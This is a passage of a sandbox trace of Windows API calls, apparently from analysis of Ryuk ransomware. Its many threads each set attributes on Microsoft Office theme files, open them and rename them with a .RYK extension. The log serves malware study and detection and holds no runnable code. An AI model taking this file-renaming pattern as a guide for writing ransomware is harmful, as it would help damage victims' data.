	[0268.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3641
	os_tid = 0x3e4c

	[0267.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml", dwFileAttributes=0x80) returned 0
	[0267.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.479] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3642
	os_tid = 0x3e50

	[0267.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml", dwFileAttributes=0x80) returned 0
	[0268.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3643
	os_tid = 0x3e54

	[0267.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml", dwFileAttributes=0x80) returned 0
	[0267.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.480] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3644
	os_tid = 0x3e58

	[0267.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml", dwFileAttributes=0x80) returned 0
	[0268.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.480] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3645
	os_tid = 0x3e5c

	[0267.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml", dwFileAttributes=0x80) returned 0
	[0267.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.477] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3646
	os_tid = 0x3e60

	[0267.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml", dwFileAttributes=0x80) returned 0
	[0268.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.478] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3647
	os_tid = 0x3e64

	[0267.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml", dwFileAttributes=0x80) returned 0
	[0268.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.478] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3682
	os_tid = 0x3f1c

	[0269.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx", dwFileAttributes=0x80) returned 0
	[0270.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.221] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3683
	os_tid = 0x3f20

	[0269.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx", dwFileAttributes=0x80) returned 0
	[0269.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.678] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3684
	os_tid = 0x3f24

	[0269.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx", dwFileAttributes=0x80) returned 0
	[0269.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.680] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3685
	os_tid = 0x3f28

	[0269.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx", dwFileAttributes=0x80) returned 0
	[0269.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.682] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3686
	os_tid = 0x3f2c

	[0269.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx", dwFileAttributes=0x80) returned 0
	[0269.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.684] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3687
	os_tid = 0x3f30

	[0269.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx", dwFileAttributes=0x80) returned 0
	[0269.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.685] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3688
	os_tid = 0x3f34

	[0269.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx", dwFileAttributes=0x80) returned 0
	[0269.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.687] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3689
	os_tid = 0x3f38

	[0269.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx", dwFileAttributes=0x80) returned 0
	[0269.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.689] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3690
	os_tid = 0x3f3c

	[0269.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx", dwFileAttributes=0x80) returned 0
	[0269.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.690] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3691
	os_tid = 0x3f40

	[0269.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx", dwFileAttributes=0x80) returned 0
	[0269.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.692] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3692
	os_tid = 0x3f44

	[0270.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx", dwFileAttributes=0x80) returned 0
	[0270.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.053] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3698
	os_tid = 0x3f60

	[0270.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx", dwFileAttributes=0x80) returned 0
	[0270.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.054] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3699
	os_tid = 0x3f64

	[0270.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx", dwFileAttributes=0x80) returned 0
	[0270.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.056] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3700
	os_tid = 0x3f68

	[0270.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx", dwFileAttributes=0x80) returned 0
	[0270.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.058] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3701
	os_tid = 0x3f6c

	[0270.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx", dwFileAttributes=0x80) returned 0
	[0270.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.059] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.060] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3702
	os_tid = 0x3f70

	[0270.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx", dwFileAttributes=0x80) returned 0
	[0270.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.066] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3703
	os_tid = 0x3f74

	[0270.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx", dwFileAttributes=0x80) returned 0
	[0270.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.070] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3704
	os_tid = 0x3f78

	[0270.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx", dwFileAttributes=0x80) returned 0
	[0270.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.RYK" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3705
	os_tid = 0x3f7c

	[0270.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx", dwFileAttributes=0x80) returned 0
